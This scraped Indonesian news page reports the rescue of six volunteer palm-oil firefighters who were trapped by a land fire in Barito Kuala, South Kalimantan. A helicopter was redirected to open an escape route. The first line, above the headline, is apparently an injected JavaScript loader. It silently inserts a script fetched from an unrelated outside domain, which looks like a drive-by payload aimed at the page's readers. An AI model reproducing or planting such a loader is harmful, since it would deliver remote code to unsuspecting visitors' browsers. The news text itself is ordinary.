(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

6 Anggota BPK Terkurung Api Saat Padamkan Karhutla, BPBD Kerahkan Heli Water Bombing


BANJARBARU, Enam warga Kabupaten Barito Kuala terkurung saat tengah melakukan pemadaman api, Rabu (21/8). Untuk mengeluarkan ke enamnya dari bahaya, BPBD Kalsel mengerahkan heli water bombing untuk membukakan jalan keluar.

Kepala Pelaksana BPBD Kalsel, Wahyuddin, menjelaskan enam orang yang terjebak tersebut merupakan tim Barisan Pemadam Kebakaran (BPK) dari perusahaan sawit setempat. Awalnya, tim BPK perusahaan sawit ini mencoba membantu memadamkan kebakaran lahan, di Rantau Badauh berbatasan dengan Jejangkit kabupaten Barito Kuala.

“Mereka bukan tim Satgas Karhutla. Mereka hanya ingin membantu memadamkan api dan  masuk kedalam area kebun sawit. Tidak lama, rupanya api meluas dan menutup jalan masuk mereka,” katanya kepada kanalkalimantan.

Mendapati informasi tersebut BPBD Kalsel langsung mengerahkan Satgas Udara untuk menyelamatkan tim BPK tersebut. Wahyuddin menerangkan, disaat bersamaan heli water bombing yang sedang beroperasi di area tersebut diminta untuk mengubah arah.

“Saat peristiwa ini terjadi, heli water bombing sedang memadamkan api di sebelah timur area tersebut. Tim BPK yang terjebak, meminta heli untuk mengubah arahnya ke barat, agar jalan masuk mereka yang ditutupi api dapat dipadamkan,” lanjutnya.

Beruntungnya, ke enam orang tersebut berhasil dievakuasi oleh petugas satgas karhutla, sekitar pukul 15.00 wita. Saat ini tim Satgas masih melakukan pemadaman api yang masih terus meluas. Apalagi mengingat Kabupaten Barito Kuala menjadi wilayah yang paling luas terbakar lahan dan hutannya pada tahun saat ini.

Memasuki akhir bulan Agustus ini peristiwa karhutla memang masih sering kali terjadi. Pada hari ini saja, ada delapan titik yang membuat heli water bombing ekstra kerja keras untuk memadamkan api. Tercatat ada delapan titik yang dilakukan pemadaman melalui tim satgas udara yakni di kota Banjarbaru, Kabupaten Tapin, Kabupaten Batola, Kabupaten Banjar dan Kabupaten Tala. (Rico)

Reporter : Rico
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.